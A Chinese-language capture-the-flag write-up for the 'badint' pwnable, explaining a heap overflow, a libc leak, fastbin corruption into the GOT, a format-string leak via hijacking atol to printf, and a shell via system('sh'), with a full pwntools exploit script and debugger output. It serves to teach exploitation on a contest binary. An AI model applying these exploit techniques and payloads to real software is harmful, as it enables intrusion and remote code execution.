Info

Category: Potent Pwnables
Author: bruce30262 @ BambooFox
這題是從中間接下去做的,感謝隊友先提供 idb 與 crash input

Analyzing

64 bit ELF, Partial RELRO, 有開DEP, 沒 canary & PIE. 題目沒有提供 libc。

這是一個 C++ 程式,程式會要使用者輸入一些資料,之後會把這些資料存在 heap 上:

$ ./badint 
SEQ #: 0
Offset: 0
Data: AAAAAAA
LSF Yes/No: Yes
RX PDU [0] [len=4]
Assembled [seq: 0]: aaaaaa0a

SEQ #: 

其中我們 data 是輸入 AAAA,但是程式會將其轉成 0xaaaa

之後根據隊友 Shao-Chuan Lee 提供的 crash input 進行動態分析:

SEQ #: 1
Offset: 0
Data: 0000000000000000000000000000000000000000000000000000000000000
LSF Yes/No: Yes
RX PDU [1] [len=31]
Assembled [seq: 1]: 00000000000000000000000000000000000000000000000000000000000000

SEQ #: 1
Offset: 0
Data: 111111111111111111111111111111111111111
LSF Yes/No: Yes
RX PDU [1] [len=20]
Assembled [seq: 1]: 1111111111111111111111111111111111111101

SEQ #: 1
Offset: 18
Data: 22222222222222222222222
LSF Yes/No: Yes
RX PDU [1] [len=12]
Assembled [seq: 1]: 000000000000000022222202

*** Error in `./badint': free(): invalid next size (fast): 0x000000000224a0c0 ***

看起來是因為 heap overflow 的關係導致 free() 在檢查 nextsize 時發現錯誤,直接 abort 程式。經分析後發現漏洞發生在以下程式碼:

 len = get_len(cur_obj);
 data = get_data(cur_obj);
 offset = get_offset(cur_obj);
 memcpy(new_buf + offset, data, len); // <-- 這裡

程式在複製 data 進 heap buffer 時,採用 memcpy(new_buf + offset, data, len) 這樣的形式進行複製。因為 offet 我們可控的關係,因此我們可以指定複製的起點,進而觸發 heap overflow 漏洞。

Exploit

首先來 leak address 吧。透過以下操作,我們可以 leak 出 libc 的 address:

$ ./badint 
SEQ #: 1
Offset: 8
Data: 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
LSF Yes/No: Yes
RX PDU [1] [len=144]
Assembled [seq: 1]: 788ba4952b7f000011111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

SEQ #:

我們將 offset 設定為 8,之後程式會將 data 複製進 heap_buf+8。其中,heap_buf 為一個被重新 allocate 的 unsortbin chunk,因此其 fdbk 均會包含 libc address ( 實際上為 main_arena+88 )。此時我們將 data 複製進 heap_buf 時,只有 bk 會被蓋掉,因此之後程式印出 assembled 的 data 時,會將 fd 的內容給 leak 出來,我們就拿到了 libc 的 address。

之後要來想辦法控制程式流程。這裡我是利用 fastbin corruption 搭配 GOT hijacking 來達到這件事。首先我們想辦法排出類似下面的 heap layout:

gdb-peda$ hip
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0xc26cc0 --> 0x0
(0x40)     fastbin[2]: 0xc26c80 --> 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0xc26c20 --> 0x0   
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
                  top: 0xc26f10 (size : 0x1c0f0) 
       last_remainder: 0xc26e00 (size : 0x50) 
            unsortbin: 0x0
gdb-peda$ 

強大的 angelheap 告訴我們在 fastbin[2] (size = 0x40) 與 fastbin[4] (size = 0x60) 各有一個 freed chunk。我們首先 allocate fastbin[4] 裡頭的 chunk,並將 data 複製進裡面,offset 設成 0x60。這麼一來,0xc26c20 + 0x60 = 0xc62c80 = chunk @ fastbin[2],我們就可以控制到 fastbin[2] 裡頭的 chunk 的 data。我們主要的目的是要將其 fd 改掉,指向 GOT :

gdb-peda$ got
State of the GOT table

RELRO: Partial

[1] printf@GLIBC_2.2.5 -> 0x00007ffff72c7800
[2] __gmon_start__ -> 0x0000000000400ab6
[3] puts@GLIBC_2.2.5 -> 0x0000000000400ac6
[4] _Znam@GLIBCXX_3.4 -> 0x0000000000400ad6
[5] _ZdlPv@GLIBCXX_3.4 -> 0x0000000000400ae6
[6] setvbuf@GLIBC_2.2.5 -> 0x00007ffff72e1e70
..................

我們可以看到,一個 non-PIE 的 x64 ELF 的 GOT 裡頭,有許多開頭為 0x40 的 address。如果我們將 memory layout 進行偏移:

gdb-peda$ x/30gx 0x604042
0x604042 <setvbuf@got.plt+2>:   0x0b0600007ffff72e      0x2740000000000040 <-- here
0x604052 <__libc_start_main@got.plt+2>: 0xfad000007ffff729      0x0b3600007ffff72d
0x604062 <strlen@got.plt+2>:    0x0b46000000000040      0x73c0000000000040 <-- here
0x604072 <signal@got.plt+2>:    0x0b6600007ffff72a      0xd650000000000040 <-- here
0x604082 <alarm@got.plt+2>:     0x0b8600007ffff733      0x0b96000000000040 <-- here

我們會發現到有許多地方是可以拿來當作假的 fastbin[2] chunk (size = 0x40) 來用的。因此,如果我們將 fastbin[2] 裡面的 chunk->fd 寫成 0x604042 的話:

gdb-peda$ hip
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x1da3cc0 --> 0x0
(0x40)     fastbin[2]: 0x1da3c80 --> 0x604042 (size error (0xc740000000000040)) --> 0x9ad000007f5e059a (invaild memory)
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x1da3c20 --> 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
                  top: 0x1da3f80 (size : 0x1c080) 
       last_remainder: 0x1da3e00 (size : 0x50) 
            unsortbin: 0x0

我們可以發現到, fastbin[2] 裡頭多出了一個假的 fastbin[2] chunk 0x604042。之後我們就可以把這個 fake chunk 拿來用,將 data 複製進這個 chunk 裡面,做 GOT hijacking。

malloc.c 裡面針對 fastbin 的檢查很殘廢。對於 malloc 一個 fastbin[2] 而言,只要其 size (unsigned int, 4 個 byte) 為 0x40 ~ 0x4f,就可以通過 malloc() 的檢查,allocate 成功。

雖然目前可以 hijack GOT 了,但是我們還不知道 libc 的版本為何。這題不好 leak address,因為我們參數幾乎都是不可控的狀態 (頂多就是可以控制 buffer 內容,但是無法控制 buffer 位址)。這邊最後想到了一個有趣的解法: 利用 format string

我們可以將 atol() hijack 成 printf(),之後程式在呼叫 atol(input)的時候,實際上就是在執行 printf(input),我們就可以透過 format string 漏洞 leak 任意位址。

另外再分享一個小技巧,就是我們在蓋 atol() 的 GOT 時,會無可避免地蓋到 fgets() 的 GOT。此時在不知道 fgets() 的 function address 的情況下,我們可以將 fgets() 的 GOT 蓋成 fgets() 被 resolve 之前的 code address:

gdb-peda$ got
State of the GOT table

RELRO: Partial
...................
[9] fgets@GLIBC_2.2.5 -> 0x0000000000400b26 <-- a fixed address

這麼一來程式之後就會重新 bind 一次 fgets() 的 address,我們就可以繼續利用 fgets() 讀 input 了。

利用 format string leak 出各個 GOT entry 之後,順利的在 libcdb.com 找到了遠端 libc 的版本。之後我們就可以將 atol() hijack 成 system(),然後輸入 “sh” 字串,呼叫 system("sh") 拿 shell。

#!/usr/bin/env python

from pwn import *
import subprocess
import sys
import time

HOST = "badint_7312a689cf32f397727635e8be495322.quals.shallweplayaga.me"
PORT = 21813
ELF_PATH = "./badint"
#LIBC_PATH = "/lib/x86_64-linux-gnu/libc.so.6"
LIBC_PATH = "./libc-2.19_15.so"

context.binary = ELF_PATH
context.log_level = 'INFO' # ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.terminal = ['tmux', 'splitw'] # for gdb.attach

elf = context.binary # context.binary is an ELF object
libc = ELF(LIBC_PATH)

def add_data(seq, off, data, lsf):
    r.sendlineafter("SEQ #:", str(seq))
    r.sendlineafter("Offset: ", str(off))
    r.sendlineafter("Data: ", data)
    r.sendlineafter("Yes/No: ", lsf)

def convert(num):
    ret = ""
    while num != 0:
        now = num & 0xff
        num >>= 8
        ret = ret + '{:02x}'.format(now)
    return ret.ljust(16, "0")

if __name__ == "__main__":
    
    r = remote(HOST, PORT)
    #r = process(ELF_PATH)
    
    add_data(1, 8, "1"*0x90*2, 'Yes')
    r.recvuntil("Assembled [seq: 1]: ")
    # leak libc address
    addr = 0
    for i in xrange(6):
        addr |= ((int(r.recv(2), 16)) << (i*8))
    
    log.success("addr: " +hex(addr))
    # libc.address = addr - 0x3c3b78 # local
    libc.address = addr - 0x3be7b8 # remote
    log.success("libc_base: " +hex(libc.address))
    # gdb.attach(r, gdbscript=open('./ggg', 'r'))
    # arrange heap
    add_data(2, 0, "2"*0xb0*2, 'Yes')
    add_data(2, 0, "3"*0x58*2, 'Yes')
    add_data(2, 0, "4"*0x38*2, 'Yes')
    # overwrite fastbin->fd ( in size 0x40 )
    payload = convert(0x41)
    payload += convert(0x604042)
    payload += convert(0) * 6
    payload += convert(0x31)
    payload = payload.ljust(0x58*2, '0')
    add_data(2, 0x60-0x8, payload, 'Yes')
    # now fastbin (size=0x40) has fake chunk @ got
    # allocate the fake chunk
    # overwrite got
    payload = "6"*12 # libc_start_main
    payload += convert(0x400b26) # resolve fgets
    payload += convert(0x400b36) # resolve strlen
    payload += convert(libc.symbols['system']) # hijack atol
    #payload += convert(elf.plt['printf']) # use format string to leak libc info
    payload = payload.ljust(110, '0')
    add_data(3, 8, payload, 'No')
    
    # hijack atol, send "sh" to get shell
    r.sendlineafter("SEQ #:", "sh")
    log.success("get shell!: ")
    r.interactive()

    # for exploiting format string & leak libc info
    """
    payload = "%10$s.%p.%p.%p.%p.%p.%p.%p.%p.%p" + p64(elf.got['fgets'])
    r.sendlineafter("SEQ #:", payload)
    r.recv(1)
    print "fgets:", hex(u64(r.recv(6).ljust(8, '\x00')))
    payload = "%10$s.%p.%p.%p.%p.%p.%p.%p.%p.%p" + p64(elf.got['puts'])
    r.sendlineafter("Offset:", payload)
    r.recv(1)
    print "puts:", hex(u64(r.recv(6).ljust(8, '\x00')))
    """

flag: All ints are not the same... A239... Some can be bad ints!